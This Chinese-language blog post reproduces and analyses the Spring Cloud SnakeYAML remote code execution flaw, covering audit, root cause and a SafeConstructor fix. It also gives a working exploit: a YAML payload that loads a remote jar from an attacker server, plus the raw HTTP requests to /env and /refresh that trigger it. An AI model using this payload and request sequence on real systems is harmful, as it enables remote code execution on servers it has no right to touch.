Java代码审计之Spring Cloud SnakeYAML RCE
注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作
0x01. 原理
- 利用
/env
endpoint 修改spring.cloud.bootstrap.location
属性值为一个外部 yml 配置文件 url 地址,如http://127.0.0.1:63712/yaml-payload.yml
- 请求
/refresh
endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行
0x02. 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞检测,访问/env是否有下面两条字符串
snakeyaml.jar (反序列化需要)
spring-boot-starter-actuator.jar (/refresh需要)
0x03. 复现过程
1. 访问env
有snakeyaml字符串
有spring-boot-starter-actuator字符串
2. 构造恶意jar包
项目地址https://github.com/artsploit/yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
3. jar和yml文件放在Web服务器上
yaml-payload.yml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
4. 利用
设置 spring.cloud.bootstrap.location 属性
spring 1.x
POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
Attack
POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
spring.cloud.bootstrap.location=http://127.0.0.1:8000/yaml-payload.yml
刷新配置
spring 1.x
POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Host: 127.0.0.1:9092
Content-Type: application/json
Attack
POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
此时有请求到Web服务上
同时执行了恶意的jar文件,弹出了计算器
0x04. SnakeYAML反序列化原理分析
0. 导入依赖包
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
1. SnakeYAML序列化和反序列化
demo1.yaml
firstName: "John"
lastName: "Doe"
age: 20
demoSnakeYaml1.java
public class demoSnakeYaml1 {
String value;
public demoSnakeYaml1(String args) {
value = args;
}
public String getValue(){
return value;
}
}
demoSnakeYaml2.java
// 序列化
public void test1(){
demoSnakeYaml1 obj = new demoSnakeYaml1("this is my data");
Map<String, Object> data = new HashMap<String, Object>();
data.put("MyClass", obj);
Yaml yaml = new Yaml();
String output = yaml.dump(data);
System.out.println(output);
}
// 反序列化
public void test2() throws FileNotFoundException {
Yaml yaml = new Yaml();
File dumpFile = new File("demo1.yaml");
Object load = yaml.load(new FileInputStream(dumpFile));
System.out.println(load);
}
生成弹计算器的jar文件,并放置Web服务下
使用https://github.com/artsploit/yaml-payload/
项目生成
3. 调用过程
接下来开始分析漏洞原理
public void test4(){
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-calc.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
开启debug调试
直接在Runtime.getRuntime().exec("open -a Calculator");
打断点,查看整个链路
链路如下,跟踪每个链路分析
<init>:13, AwesomeScriptEngineFactory (artsploit)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
test4:43, demoSnakeYaml2 (com.DemoSnakeYaml)
main:51, demoSnakeYaml2 (com.DemoSnakeYaml)
snakeyaml实例化传递进来的对象
其中在construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
通过ClassLoader反射实例化了javax.script.ScriptEngineManager对象
而javax.script.ScriptEngineManager是我们payload里传递的
那么实例化了javax.script.ScriptEngineManager对象后,如何执行恶意代码呢?下面就是分析SPI机制了。
SPI机制(ScriptEngineManager)
SPI机制: 全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
即生成计算器的代码里,有/META-INF/services
目录,目录下的文件和文件内容如下。那么SPI机制就会找到javax.script.ScriptEngineFactory这个文件,并且动态的去加载javax.script.ScriptEngineFactory文件里定义的artsploit.AwesomeScriptEngineFactory类,也就是我们弹计算器的代码。
SPI的调用流程分析
javax.script.ScriptEngineManager<init>
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory<init>
Runtime.getRuntime().exec()
ScriptEngineManager.java#ScriptEngineManager –> ScriptEngineManager.java#init –> ScriptEngineManager.java#initEngines
通过ServiceLoader动态加载类
在这里实例化了我们的弹计算器的类
成功的弹出计算器
0x05. spring cloud SnakeYAML RCE触发点
抓包
RefreshEndpoint.refresh()
方法 ,即处理 /refresh
接口请求的类
BootstrapApplicationListener.bootstrapServiceContext()
方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location
的值,即之前设置的外部 yml 文件 url
org.springframework.boot.env.PropertySourcesLoader.load()
方法,loader是 YamlPropertySourceLoader
类,加载 url 对应的 yml 配置文件
YamlPropertySourceLoader是snakeyaml
YamlProcessor.process()
方法中调用 Yaml.loadAll()
解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML
反序列化过程类似,最终触发命令执行
从链路中也能看到调用的是SnakeYAML解析yaml文件
0x06. SnakeYAML总结
1. 白盒审计定位漏洞点
在审计中其实就可以直接定位yaml.load();
,然后进行回溯,如若参数可控,那么就可以尝试传入payload。
2. 修复方案
加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
0x07. 参考链接
https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://www.cnblogs.com/nice0e3/p/14514882.html
https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/